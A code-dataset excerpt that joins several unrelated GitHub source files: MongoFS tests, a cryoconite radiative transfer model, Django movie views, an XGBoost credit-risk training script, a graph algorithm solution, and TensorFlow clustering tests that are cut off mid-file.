self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n\n self.obj.truncate(file=self.utils.file, length=6)\n modified_message = self.utils.read_file_chunks()\n self.assertEqual(modified_message, message[0:6])\n\n def test_truncate_zero(self):\n self.utils.insert_file()\n self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n\n self.obj.truncate(file=self.utils.file, length=0)\n modified_message = self.utils.read_file_chunks()\n self.assertEqual(modified_message, message[0:0])\n\n def test_rename_generic_file_to(self):\n self.utils.insert_file()\n self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n\n initial_filepath = self.utils.file.filepath\n self.obj.rename_generic_file_to(generic_file=self.utils.file, initial_filepath=self.utils.file.filepath, destination_filepath='/rename-test')\n destination_message = self.utils.read_file_chunks() # Read chunks is based on the _id, so we can call it\n # Normally, the chunks should not change at all, but we never know.\n self.assertEqual(destination_message, message)\n\n old_file = self.utils.files_coll.find_one({'directory_id':self.utils.file.directory_id,'filename':initial_filepath.split('/')[-1]})\n self.assertEqual(old_file, None)\n\n new_file = self.utils.files_coll.find_one({'directory_id':self.utils.root_id,'filename':'rename-test'})\n self.assertNotEqual(new_file, None)\n\n def test_release_generic_file(self):\n self.utils.insert_file()\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_WRITE})\n result = self.obj.release_generic_file(filepath=self.utils.file.filepath, generic_file=gf)\n self.assertTrue(result)\n\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath)\n self.assertTrue('lock' not in gf.json or len(gf.json['lock']) == 0)\n\n def test_release_generic_file_no_lock(self):\n # Verify if it does not crash if there is no lock\n self.utils.insert_file()\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock=None)\n result = self.obj.release_generic_file(filepath=self.utils.file.filepath, generic_file=gf)\n self.assertTrue(result)\n\n def test_basic_save(self):\n self.utils.insert_file()\n self.obj.basic_save(generic_file=self.utils.file, metadata={'st_nlink':1}, attrs={'thing':1}, host=self.utils.file.host, gname=self.utils.file.gname, uname=self.utils.file.uname)\n result = self.utils.files_coll.find_one({'_id':self.utils.file._id})\n self.assertTrue('st_nlink' in result['metadata'] and len(result['metadata']) == 1)\n self.assertTrue('thing' in result['attrs'] and len(result['attrs']) == 1)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"gilles-degols/mongofs","sub_path":"test/core/test_Mongo.py","file_name":"test_Mongo.py","file_ext":"py","file_size_in_byte":13510,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"29187532250","text":"\"\"\"\nClass ControlFuncs contains functions that call direct and diffuse flux calculations and returns the\nenergy at the hole floor. This includes calls to SpecReflFuncs and SNICAR. Hard coded variables used\nto configure the radiative transfer model and beam reflection losses are defined in here.\n\nFunctions in this class include:\n\n1) CalculateFluxes\n Sets variable values and makes calls to external functions to calculate energy flux at cryoconite sediment layer\n\nAUTHOR: JOSEPH COOK, April 2020\nwww.tothepoles.co.uk\nww.github.com/jmcook1186\n\"\"\"\n\n\n\nclass ControlFuncs:\n\n def __init__(self):\n\n\n return\n\n def Validate_Input_Data(hole_d, hole_w, hole_water_d, solzen, total_cryoconite_area, study_area):\n\n if hole_water_d > hole_d:\n raise ValueError(\"ERROR: The water is deeper than the cryoconite hole\")\n else:\n pass\n\n if (solzen ==0) or (solzen > 85):\n raise ValueError(\"ERROR: Please adjust solar zenith to be 1 - 85 degrees\")\n else:\n pass\n\n if (hole_w == 0) or (hole_d ==0):\n raise ValueError(\"ERROR: Either the hole width or depth is set to zero\")\n else:\n pass\n\n if total_cryoconite_area>study_area:\n raise ValueError (f\"Cryconite area = {np.sum(hole_areas*n_holes)} Total study area is less than total cryocontie area\")\n \n else:\n pass\n\n return \n\n\n def CalculateFluxes(hole_d, hole_w, hole_water_d, point, cryoconite_albedo, WL, params, n_internal_reflections):\n\n import numpy as np\n import math\n from SpecReflFuncs import specFuncs\n from TwoStreamFuncs import TwoStreamFuncs\n\n #############################################\n # HARD CODED AND DERIVED VARIABLE DEFINITIONS\n #############################################\n\n dz = [hole_d] # thickness of each vertical layer (unit = m)\n R_sfc = np.mean(cryoconite_albedo) # reflectance of underlying surface - set across all wavelengths\n theta = 90-params.solzen # calculated from SZA\n nAir = np.ones(shape=(470))+0.0003 # define n and k for air (array of ones)\n kAir = np.zeros(shape=(470))+0.00000001\n\n # import spectral refractive index for water\n nWat = np.genfromtxt('/home/joe/Code/CryoconiteRTM/Data/water_n.csv', delimiter=\",\")\n kWat = np.genfromtxt ('/home/joe/Code/CryoconiteRTM/Data/water_k.csv', delimiter=\",\")\n kWat = kWat[0:-1:10] #every 10th element to match resolution of SNICAR\n\n nIce = np.genfromtxt('/home/joe/Code/CryoconiteRTM/Data/ice_n.csv', delimiter=\",\")\n nIce[nIce<1.0] = 1.0 # prevent math domain error - this is a negligible adjustment to a few wavelengths\n kIce = np.genfromtxt ('/home/joe/Code/CryoconiteRTM/Data/ice_k.csv', delimiter=\",\")\n\n incoming = TwoStreamFuncs.generate_incoming_irradiance(params)\n\n # set up empty lists\n R_airtowat = []\n R_wattoice = []\n dir_energy_at_hole_floor = []\n upbeam = []\n incoming_new = np.copy(incoming)\n\n ####################################\n # CALCULATE TRANSPORT OF DIRECT BEAM\n ####################################\n\n # 1) Illumination geometry\n\n # if there is no water, no refraction of incoming beam occurs so t_theta = theta\n if hole_water_d == 0:\n\n t_theta = theta\n t_theta_mean = theta\n\n else: # calculate adjusted solar elevation angle after direct beam refracted at air-water boundary\n t_theta = specFuncs.trans_angle(theta,nAir,nWat) \n\n # call critical angle function to determine whether the direct beam reaches the hole floor at \"point\"\n ang_crit = specFuncs.critical_angle(theta, hole_d, hole_w, point) # calculate critical angle\n\n # 2) For each wavelength, calculate losses at medium boundaries and apply for n interactions\n for i in range(len(WL)):\n \n # calculate losses expected at each type of transition (air/water, water/ice)\n result1 = specFuncs.fresnel(nAir[i],nWat[i],kAir[i],kWat[i],theta)\n R_airtowat.append(result1)\n\n result2 = specFuncs.fresnel(nWat[i],nIce[i],kWat[i],kIce[i],t_theta[i])\n R_wattoice.append(result2)\n\n #calculate radiance reflected from water surface\n reflected_from_water_surface = incoming*result1\n\n if t_theta[i] > ang_crit:\n\n # direct beam only hits point on hole floor when the refracted illumination angle \n # exceeds the critical angle,\n \n if hole_water_d > 0: \n # if there is water, some energy is lost when beam enters from air\n incoming_new[i] = incoming_new[i]*(1-R_airtowat[i])\n\n # the beam energy at the hole floor is just the total incoming after\n # air/water fresnel loss\n dir_energy_at_hole_floor.append(incoming_new[i]) \n\n # there are no reflections and the beam does not hit the hole wall\n beamHitsWall = False\n SurfStrike_d = hole_w/2\n n_wat_reflections = 0\n\n\n else:\n # if the beam does not directly illuminate the point on the floor, \n # it may still reach the floor after multiple reflections betwen the \n # hole walls. The following function calculates the number of reflections\n # between the hole walls before and after entering the water and prior \n # to the beam striking the hole floor\n\n n_air_reflections, n_wat_reflections, total_reflections, SurfStrike_d,\\\n beamHitsWall = specFuncs.test_multiple_reflections(\n theta, t_theta[i], hole_d, hole_w, hole_water_d, nAir, nWat, verbose=False)\n \n # Use calculated # reflections to remove energy from the beam\n for j in range(int(n_air_reflections)+1):\n # add one to account for the specular reflection occurring when beam \n # hits water surface (not in air_reflections or wat_reflections)\n incoming_new[i] = incoming_new[i]*R_airtowat[i] \n\n for j in range(int(n_wat_reflections)):\n \n incoming_new[i] = incoming_new[i]*R_wattoice[i]\n \n # this gives the amount of energy available at the hole floor\n dir_energy_at_hole_floor.append(incoming_new[i]) \n \n \n # 3) calculate absorptive losses due to transport through water\n # First calculate path length in water, then calculate loss\n # using path length and absorption coefficient\n PathLengthInWat = specFuncs.CalculatePathLength(hole_water_d, hole_w, beamHitsWall, t_theta[i],\\\n SurfStrike_d, n_wat_reflections, ang_crit) \n dir_energy_at_hole_floor = specFuncs.AttenuateBeam(PathLengthInWat, kWat, dir_energy_at_hole_floor, WL)\n\n\n ####################################################\n ## CALCULATE DIFFUSE ENERGY FLUX REACHING HOLE FLOOR\n ####################################################\n\n albedo, BBA, F_btm_net, F_top_pls = TwoStreamFuncs.call_snicar(params)\n albedo = albedo[10:]\n F_btm_net = F_btm_net[10:]\n \n ###############################################\n # CALCULATE ENERGY ABSORBED AT CRYOCONITE LAYER\n ###############################################\n\n dir_energy_absorbed_by_cryoconite = dir_energy_at_hole_floor * (1-cryoconite_albedo)\n diffuse_energy_at_hole_floor = F_btm_net\n\n diffuse_energy_absorbed_by_cryoconite = diffuse_energy_at_hole_floor * (1-cryoconite_albedo)\n\n total_incoming_energy = np.sum(incoming)\n\n\n ####################################\n ## ACCOUNT FOR INTERNAL REFLECTIONS\n ####################################\n\n energy_escaping_internal_reflections = []\n energy_lost_internal_reflections = []\n \n # loop through wavelengths\n for i in range(len(WL)):\n\n escaped, loss, cryoconite_abs = specFuncs.internal_reflection(hole_water_d, cryoconite_albedo[i], WL[i], nAir[i], kAir[i], nWat[i], kWat[i], n_internal_reflections,\\\n dir_energy_at_hole_floor[i], diffuse_energy_at_hole_floor[i])\n\n energy_escaping_internal_reflections.append(escaped)\n energy_lost_internal_reflections.append(loss)\n \n energy_escaping_internal_reflections= np.array(energy_escaping_internal_reflections)\n # import matplotlib.pyplot as plt\n # plt.plot(energy_escaping_internal_reflections)\n\n diffuse_energy_absorbed_by_cryoconite = diffuse_energy_absorbed_by_cryoconite + cryoconite_abs\n \n return energy_escaping_internal_reflections, dir_energy_absorbed_by_cryoconite, diffuse_energy_absorbed_by_cryoconite, total_incoming_energy,\\\n dir_energy_at_hole_floor, diffuse_energy_at_hole_floor, F_top_pls, reflected_from_water_surface\n","repo_name":"jmcook1186/CryoconiteRTM","sub_path":"ControlFuncs.py","file_name":"ControlFuncs.py","file_ext":"py","file_size_in_byte":9135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33302960628","text":"from django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.core.cache import cache\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.urls import reverse_lazy\nfrom django.views.decorators.cache import never_cache\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView\n\nfrom .forms import FilmModelForm\nfrom .models import Film, Genre, Attachment\n\n\ndef index(request):\n \"\"\"Metoda připravuje pohled pro domovskou stránku - šablona index.html\"\"\"\n \"\"\" Do proměnné context, která je typu slovník (dictionary), přiřadíme jednotlivým klíčům informace získané z databáze\n pomocí ORM systému Djanga - využíváme jednotlivých datových modelů a pracujeme s nimi jako se sadami objektů \"\"\"\n context = {\n # Výběr filmů podle data uvedení uspořádaný sestupně - 3 nejnovější filmy\n 'films': Film.objects.order_by('-release_date')[:3],\n # Výběr deseti nejlepších filmů (uspořádány sestupně podle hodnocení)\n 'top_ten': Film.objects.order_by('-rate').all()[:10],\n # Výběr všech žánrů uspořádaných abecedně podle názvu\n 'genres': Genre.objects.order_by('name').all(),\n }\n\n \"\"\" Pomocí metody render vyrendrujeme šablonu index.html a předáme ji hodnoty v proměnné context k zobrazení \"\"\"\n return render(request, 'index.html', context=context)\n\n\n\"\"\" Třída dědí z generické třídy ListView, která umí vypsat z databáze všechny objekty určeného modelu \"\"\"\nclass FilmListView(ListView):\n # Nastavení požadovaného modelu\n model = Film\n # Pojmenování objektu, v němž budou šabloně předána data z modelu (tj. databázové tabulky)\n context_object_name = 'films_list'\n # Umístění a název šablony\n template_name = 'film/list.html'\n paginate_by = 3\n\n # Metoda vrací sadu záznamů filtrovaných podle nastavení klíčového argumentu 'genre_name'\n def get_queryset(self):\n # Jestliže je v klíčových atributech předaných objektu (self.kwargs) zastoupen atribut 'genre_name' ...\n if 'genre_name' in self.kwargs:\n # ... z databáze jsou vybrány všechny objekty (filmy), patřící k žánru, na který klíčový atribut odkazuje\n # genres__name=self.kwargs['genre_name']\n return Film.objects.filter(genres__name=self.kwargs['genre_name']).all()\n else:\n # ... v opačném případě jsou vybrány všechny objekty (filmy)\n return Film.objects.all()\n\n # Metoda upravuje data předávaná šabloně prostřednictví proměnné context (typu dictionary)\n def get_context_data(self, **kwargs):\n # Nejprve je zavolána původní implementace metody, jak je řešena v třídě předka, který zastupuje dočasný objekt super()\n # (temporary object of the superclass)\n context = super().get_context_data(**kwargs)\n # Zjištění aktuálního počtu záznamů v dané datové sadě - len(self.get_queryset())\n context['num_films'] = len(self.get_queryset())\n # Jestliže je v klíčových atributech předaných objektu (self.kwargs) zastoupen atribut 'genre_name' ...\n if 'genre_name' in self.kwargs:\n # ... šabloně budou prostřednictvím kontextu předány proměnné 'view_title' a 'view_head', které budou obsahovat informace\n # o aktuálně vybraném žánru\n context['view_title'] = f\"Žánr: {self.kwargs['genre_name']}\"\n context['view_head'] = f\"Žánr filmu: {self.kwargs['genre_name']}\"\n else:\n # ... v opačném případě budou předány stejné proměnné s obecnějším popisem\n # o aktuálně vybraném žánru\n context['view_title'] = 'Filmy'\n context['view_head'] = 'Přehled filmů'\n return context\n\n\n\"\"\" Třída dědí z generické třídy DetailView, která umí vypsat z databáze jeden objekt určeného modelu \"\"\"\nclass FilmDetailView(DetailView):\n # Nastavení požadovaného modelu\n model = Film\n # Pojmenování objektu, v němž budou šabloně předána data z modelu (tj. databázové tabulky)\n context_object_name = 'film_detail'\n # Umístění a název šablony\n template_name = 'film/detail.html'\n\n\nclass GenreListView(ListView):\n model = Genre\n template_name = 'blocks/genre_list.html'\n context_object_name = 'genres'\n queryset = Genre.objects.order_by('name').all()\n\n\nclass FilmCreate(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n model = Film\n template_name = 'movies/film_form_crispy.html'\n fields = ['title', 'plot', 'release_date', 'runtime', 'poster', 'rate', 'genres']\n initial = {'rate': '5'}\n login_url = '/accounts/login/'\n permission_required = 'movies.add_film'\n\n def get_success_url(self):\n return reverse_lazy('film_detail', kwargs={'pk': self.object.pk})\n\n\nclass FilmUpdate(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n model = Film\n template_name = 'movies/film_bootstrap_form.html'\n form_class = FilmModelForm\n #fields = '__all__' # Not recommended (potential security issue if more fields added)\n login_url = '/accounts/login/'\n permission_required = 'movies.change_film'\n\n def get_success_url(self):\n return reverse_lazy('film_detail', kwargs={'pk': self.object.pk})\n\n\nclass FilmDelete(LoginRequiredMixin, PermissionRequiredMixin, DeleteView):\n model = Film\n success_url = reverse_lazy('films')\n login_url = '/accounts/login/'\n permission_required = 'movies.delete_film'\n\n\ndef error_404(request, exception=None):\n return render(request, 'errors/404.html')\n\n\ndef error_500(request):\n return render(request, 'errors/500.html')\n\n\ndef error_403(request, exception=None):\n return render(request, 'errors/403.html')\n\n\ndef error_400(request, exception=None):\n return render(request, 'errors/400.html')\n\n\n@never_cache\ndef clear_cache(request):\n if not request.user.is_superuser:\n raise PermissionDenied\n cache.clear()\n return HttpResponse('Cache has been cleared')","repo_name":"Benjamin-Tomicek/Django-databaze","sub_path":"Django-databaze/databaze/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6213,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31074085872","text":"import sys\nimport os \nimport joblib\nimport pickle\nimport json\nimport argparse\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom src.logs import log \nfrom src.exception import CustomException\nfrom src.utils.config_utils import read_params\nfrom sklearn.preprocessing import StandardScaler\nfrom xgboost import XGBClassifier\nfrom imblearn.over_sampling import ADASYN\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import accuracy_score, confusion_matrix ,precision_score, recall_score, f1_score, roc_auc_score\n\n\n\n\"\"\"\n[funtion for splitting dataset for training ]\nArguments:\n config_path {string} -- Path to directory defined at params.yaml \n\nReturn: \n [None] \n\n\"\"\"\n\n\n\n\n# Set a logger File \nlogger = log(path=\"Log_File/\", file= \"split_data.logs\")\n\n\ndef eval_metrics(actual, pred):\n\n try:\n\n accu = accuracy_score(actual, pred)\n ps = precision_score(actual, pred)\n rs = recall_score(actual, pred)\n fs = f1_score(actual, pred)\n ruc = roc_auc_score(actual, pred)\n logger.info(\"model metrics calculated..!!\")\n return accu, ps, rs, fs, ruc\n \n except Exception as e:\n raise CustomException(e, sys) \n\ndef split_and_saved_data(config_path: str):\n\n # read the config_path \n logger.info(\"Reading Configuration Through read_params method...\")\n\n try:\n\n config = read_params(config_path)\n logger.info(\"Reading YAML Configuration...\")\n\n raw_data_path = config[\"processed_data\"][\"processed_train\"]\n split_ratio = config[\"base\"][\"test_size\"]\n random_state = config[\"base\"][\"random_state\"]\n target = config[\"base\"][\"target_col\"]\n n_estimators = config[\"estimators\"][\"XGBClassifier\"][\"params\"][\"n_estimators\"]\n max_depth = config[\"estimators\"][\"XGBClassifier\"][\"params\"][\"max_depth\"]\n learning_rate = config[\"estimators\"][\"XGBClassifier\"][\"params\"][\"learning_rate\"]\n booster = config[\"estimators\"][\"XGBClassifier\"][\"params\"][\"booster\"]\n\n logger.info(\"Reading Dataframe...\")\n df = pd.read_csv(raw_data_path, sep=\",\", encoding='utf-8')\n #print(df.columns)\n #print(target)\n df = df.drop(['id'], axis = 1)\n X_final = df.drop(target, axis = 1)\n y_final = df[target]\n print(X_final.columns)\n #print(y_final)\n\n logger.info(\"Splitting Dataset...\")\n X_train, X_test, y_train, y_test = train_test_split(X_final, y_final,\n test_size=split_ratio, \n random_state = random_state)\n \n print(X_train.head())\n print(y_train.head())\n\n #Scaling \n\n scaler=StandardScaler()\n\n X_train = scaler.fit_transform(X_train)\n\n logger.info(\"train scaling done..!!\")\n\n print(X_test)\n print(X_test.columns)\n\n X_test =scaler.transform(X_test)\n\n logger.info(\"test data transform done...!!\")\n\n\n with open(\"saved_models/scale_models/scaling.pkl\", \"wb\") as f:\n pickle.dump(scaler, f)\n\n logger.info(\"Scaling.pkl file saved successfully...!!\")\n\n ada = ADASYN(sampling_strategy='minority',random_state=42,n_neighbors=7)\n X_res,y_res = ada.fit_resample(X_train,y_train)\n \n\n xgb_clf = XGBClassifier(n_estimators=n_estimators,max_depth=max_depth,\n random_state=random_state,learning_rate=learning_rate,\n booster=booster)\n \n logger.info(\"classifier defined...!!\")\n\n\n xgb_clf.fit(X_res,y_res)\n\n y_pred = xgb_clf.predict(X_test)\n logger.info(\"prediction on test dataset completed..!!\")\n\n\n accu, ps, rs, fs, ruc = eval_metrics(y_test, y_pred)\n\n print('Accuracy XGBoost...{}'.format(accu))\n print('Precision XGBoost...{}'.format(ps))\n print('Recall XGBoost...{}'.format(rs))\n print('F1 XGBoost...{}'.format(fs))\n print('roc_auc_score XGBoost...{}'.format(ruc))\n print('XGBoost_Confusion Matrix')\n print(confusion_matrix(y_test, y_pred))\n\n\n f1 = cross_val_score(xgb_clf, X_train, y_train, cv=5, scoring='f1')\n print('\\nFinal F1 score of the model:', round(f1.mean(),2)) \n\n\n ###########################################################################\n\n scores_file = config[\"reports\"][\"scores\"]\n params_file = config[\"reports\"][\"params\"]\n\n\n with open(scores_file, \"w\") as f:\n scores = {\n \"accuracy\": accu,\n \"precision score\": ps,\n \"recall score\": rs,\n \"F1_Score\": fs,\n \"RUC\": ruc\n }\n json.dump(scores, f, indent=4)\n\n with open(params_file, \"w\") as f:\n params = {\n \"n_estimators\": n_estimators,\n \"max_depth\": max_depth,\n \"random_state\": random_state,\n \"learning_rate\": learning_rate,\n \"booster\": booster,\n \"random_state\": random_state\n\n }\n json.dump(params, f, indent=4) \n\n\n #################################################################################\n\n model_dir = config[\"saved_models\"][\"classifier\"]\n model_path = os.path.join(model_dir, \"xgb_clf.joblib\")\n\n joblib.dump(xgb_clf, model_path)\n\n except Exception as e:\n raise CustomException(e, sys) \n \n\n\n\nif __name__==\"__main__\":\n args = argparse.ArgumentParser()\n args.add_argument(\"--config\", default=\"params.yaml\")\n parsed_args = args.parse_args()\n split_and_saved_data(config_path=parsed_args.config)\n","repo_name":"Sengarofficial/South_German_Bank_Credit_Risk_MLops","sub_path":"src/train_and_evaluate.py","file_name":"train_and_evaluate.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3139904544","text":"# BOJ 1774 우주신과의 교감\nimport math\nimport sys\n\nsys.stdin = open(\"../input.txt\", \"r\")\nsi = sys.stdin.readline\n\n\ndef kruskal(distance, parents):\n edges = 1\n ret = 0\n distance.sort(key=lambda x: x[2])\n for i in range(len(distance)):\n a, b, c = distance[i]\n if not find_parent(parents, a, b):\n union_parent(parents, a, b)\n ret += c\n edges += 1\n if edges == N - 1:\n break\n return ret\n\n\ndef get_parent(arr, a):\n if arr[a] == a:\n return a\n arr[a] = get_parent(arr, arr[a])\n return arr[a]\n\n\ndef find_parent(arr, a, b):\n a = get_parent(arr, a)\n b = get_parent(arr, b)\n return a == b\n\n\ndef union_parent(arr, a, b):\n a = get_parent(arr, a)\n b = get_parent(arr, b)\n if a < b:\n arr[b] = a\n else:\n arr[a] = b\n\n\ndef get_distance(y1, x1, y2, x2):\n return math.sqrt((y2 - y1) ** 2 + (x2 - x1) ** 2)\n\n\nN, M = map(int, si().split(\" \"))\nlocations = [[0, 0] for _ in range(N + 1)]\nparents = [i for i in range(N + 1)]\ndistance = []\nfor i in range(1, N + 1):\n locations[i] = list(map(int, si().split(\" \")))\nfor _ in range(M):\n n1, n2 = map(int, si().split(\" \"))\n union_parent(parents, n1, n2)\nfor i in range(1, N + 1):\n for j in range(1, N + 1):\n if i == j:\n continue\n y1, x1 = locations[i]\n y2, x2 = locations[j]\n distance.append((i, j, get_distance(y1, x1, y2, x2)))\nprint(\"%.2f\" % kruskal(distance, parents))\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/graph_boj/galaxy.py","file_name":"galaxy.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11456878762","text":"import json\nimport tensorflow as tf\n\nfrom absl.testing import parameterized\nfrom tensorflow.python.keras import keras_parameterized\n\nfrom tensorflow_model_optimization.python.core.clustering.keras import cluster\nfrom tensorflow_model_optimization.python.core.clustering.keras import cluster_config\nfrom tensorflow_model_optimization.python.core.clustering.keras import cluster_wrapper\nfrom tensorflow_model_optimization.python.core.clustering.keras import clusterable_layer\nfrom tensorflow_model_optimization.python.core.clustering.keras import clustering_registry\n\nkeras = tf.keras\nerrors_impl = tf.errors\nlayers = keras.layers\ntest = tf.test\n\n\nclass TestModel(keras.Model):\n \"\"\"A model subclass.\"\"\"\n\n def __init__(self):\n \"\"\"A test subclass model with one dense layer.\"\"\"\n super(TestModel, self).__init__(name='test_model')\n self.layer1 = keras.layers.Dense(10, activation='relu')\n\n def call(self, inputs):\n return self.layer1(inputs)\n\n\nclass CustomClusterableLayer(layers.Dense, clusterable_layer.ClusterableLayer):\n\n def get_clusterable_weights(self):\n return [('kernel', self.kernel)]\n\n\nclass CustomNonClusterableLayer(layers.Dense):\n pass\n\n\nclass ClusterTest(test.TestCase, parameterized.TestCase):\n \"\"\"Unit tests for the cluster module.\"\"\"\n\n def setUp(self):\n super(ClusterTest, self).setUp()\n\n self.keras_clusterable_layer = layers.Dense(10)\n self.keras_non_clusterable_layer = layers.Dropout(0.4)\n self.keras_unsupported_layer = layers.ConvLSTM2D(2, (5, 5)) # Unsupported\n self.custom_clusterable_layer = CustomClusterableLayer(10)\n self.custom_non_clusterable_layer = CustomNonClusterableLayer(10)\n\n clustering_registry.ClusteringLookupRegistry.register_new_implementation(\n {\n CustomClusterableLayer: {\n 'kernel': clustering_registry.DenseWeightsCA\n }\n }\n )\n\n self.model = keras.Sequential()\n self.params = {\n 'number_of_clusters': 8,\n 'cluster_centroids_init':\n cluster_config.CentroidInitialization.DENSITY_BASED\n }\n\n def _build_clustered_layer_model(self, layer):\n wrapped_layer = cluster.cluster_weights(layer, **self.params)\n self.model.add(wrapped_layer)\n self.model.build(input_shape=(10, 1))\n\n return wrapped_layer\n\n def _validate_clustered_layer(self, original_layer, wrapped_layer):\n self.assertIsInstance(wrapped_layer, cluster_wrapper.ClusterWeights)\n self.assertEqual(original_layer, wrapped_layer.layer)\n\n @staticmethod\n def _count_clustered_layers(model):\n count = 0\n for layer in model.layers:\n if isinstance(layer, cluster_wrapper.ClusterWeights):\n count += 1\n return count\n\n @keras_parameterized.run_all_keras_modes\n def testClusterKerasClusterableLayer(self):\n \"\"\"\n Verifies that a built-in keras layer marked as clusterable is being\n clustered correctly.\n \"\"\"\n wrapped_layer = self._build_clustered_layer_model(\n self.keras_clusterable_layer)\n\n self._validate_clustered_layer(self.keras_clusterable_layer, wrapped_layer)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterKerasNonClusterableLayer(self):\n \"\"\"\n Verifies that a built-in keras layer not marked as clusterable is\n not being clustered.\n \"\"\"\n wrapped_layer = self._build_clustered_layer_model(\n self.keras_non_clusterable_layer)\n\n self._validate_clustered_layer(self.keras_non_clusterable_layer,\n wrapped_layer)\n self.assertEqual([], wrapped_layer.layer.get_clusterable_weights())\n\n def testClusterKerasUnsupportedLayer(self):\n \"\"\"\n Verifies that attempting to cluster an unsupported layer raises an\n exception.\n \"\"\"\n with self.assertRaises(ValueError):\n cluster.cluster_weights(self.keras_unsupported_layer, **self.params)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterCustomClusterableLayer(self):\n \"\"\"\n Verifies that a custom clusterable layer is being clustered correctly.\n \"\"\"\n wrapped_layer = self._build_clustered_layer_model(\n self.custom_clusterable_layer)\n\n self._validate_clustered_layer(self.custom_clusterable_layer, wrapped_layer)\n self.assertEqual([('kernel', wrapped_layer.layer.kernel)],\n wrapped_layer.layer.get_clusterable_weights())\n\n def testClusterCustomNonClusterableLayer(self):\n \"\"\"\n Verifies that attempting to cluster a custom non-clusterable layer raises\n an exception.\n \"\"\"\n with self.assertRaises(ValueError):\n cluster_wrapper.ClusterWeights(self.custom_non_clusterable_layer,\n **self.params)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterSequentialModelSelectively(self):\n \"\"\"\n Verifies that layers within a sequential model can be clustered\n selectively.\n \"\"\"\n clustered_model = keras.Sequential()\n clustered_model.add(cluster.cluster_weights(self.keras_clusterable_layer, **self.params))\n clustered_model.add(self.keras_clusterable_layer)\n clustered_model.build(input_shape=(1, 10))\n\n self.assertIsInstance(clustered_model.layers[0], cluster_wrapper.ClusterWeights)\n self.assertNotIsInstance(clustered_model.layers[1], cluster_wrapper.ClusterWeights)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterFunctionalModelSelectively(self):\n \"\"\"\n Verifies that layers within a functional model can be clustered\n selectively.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n i2 = keras.Input(shape=(10,))\n x1 = cluster.cluster_weights(layers.Dense(10), **self.params)(i1)\n x2 = layers.Dense(10)(i2)\n outputs = layers.Add()([x1, x2])\n clustered_model = keras.Model(inputs=[i1, i2], outputs=outputs)\n\n self.assertIsInstance(clustered_model.layers[2], cluster_wrapper.ClusterWeights)\n self.assertNotIsInstance(clustered_model.layers[3], cluster_wrapper.ClusterWeights)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterModelValidLayersSuccessful(self):\n \"\"\"\n Verifies that clustering a sequential model results in all clusterable\n layers within the model being clustered.\n \"\"\"\n model = keras.Sequential([\n self.keras_clusterable_layer,\n self.keras_non_clusterable_layer,\n self.custom_clusterable_layer\n ])\n clustered_model = cluster.cluster_weights(model, **self.params)\n clustered_model.build(input_shape=(1, 28, 28, 1))\n\n self.assertEqual(len(model.layers), len(clustered_model.layers))\n for layer, clustered_layer in zip(model.layers, clustered_model.layers):\n self._validate_clustered_layer(layer, clustered_layer)\n\n def testClusterModelUnsupportedKerasLayerRaisesError(self):\n \"\"\"\n Verifies that attempting to cluster a model that contains an unsupported\n layer raises an exception.\n \"\"\"\n with self.assertRaises(ValueError):\n cluster.cluster_weights(\n keras.Sequential([\n self.keras_clusterable_layer, self.keras_non_clusterable_layer,\n self.custom_clusterable_layer, self.keras_unsupported_layer\n ]), **self.params)\n\n def testClusterModelCustomNonClusterableLayerRaisesError(self):\n \"\"\"\n Verifies that attempting to cluster a model that contains a custom\n non-clusterable layer raises an exception.\n \"\"\"\n with self.assertRaises(ValueError):\n cluster.cluster_weights(\n keras.Sequential([\n self.keras_clusterable_layer, self.keras_non_clusterable_layer,\n self.custom_clusterable_layer, self.custom_non_clusterable_layer\n ]), **self.params)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterModelDoesNotWrapAlreadyWrappedLayer(self):\n \"\"\"\n Verifies that clustering a model that contains an already clustered layer\n does not result in wrapping the clustered layer into another\n cluster_wrapper.\n \"\"\"\n model = keras.Sequential(\n [\n layers.Flatten(),\n cluster.cluster_weights(layers.Dense(10), **self.params),\n ])\n clustered_model = cluster.cluster_weights(model, **self.params)\n clustered_model.build(input_shape=(10, 10, 1))\n\n self.assertEqual(len(model.layers), len(clustered_model.layers))\n self._validate_clustered_layer(model.layers[0], clustered_model.layers[0])\n # Second layer is used as-is since it's already a clustered layer.\n self.assertEqual(model.layers[1], clustered_model.layers[1])\n self._validate_clustered_layer(model.layers[1].layer,\n clustered_model.layers[1])\n\n def testClusterValidLayersListSuccessful(self):\n \"\"\"\n Verifies that clustering a list of layers results in all clusterable\n layers within the list being clustered.\n \"\"\"\n model_layers = [\n self.keras_clusterable_layer,\n self.keras_non_clusterable_layer,\n self.custom_clusterable_layer\n ]\n clustered_list = cluster.cluster_weights(model_layers, **self.params)\n\n self.assertEqual(len(model_layers), 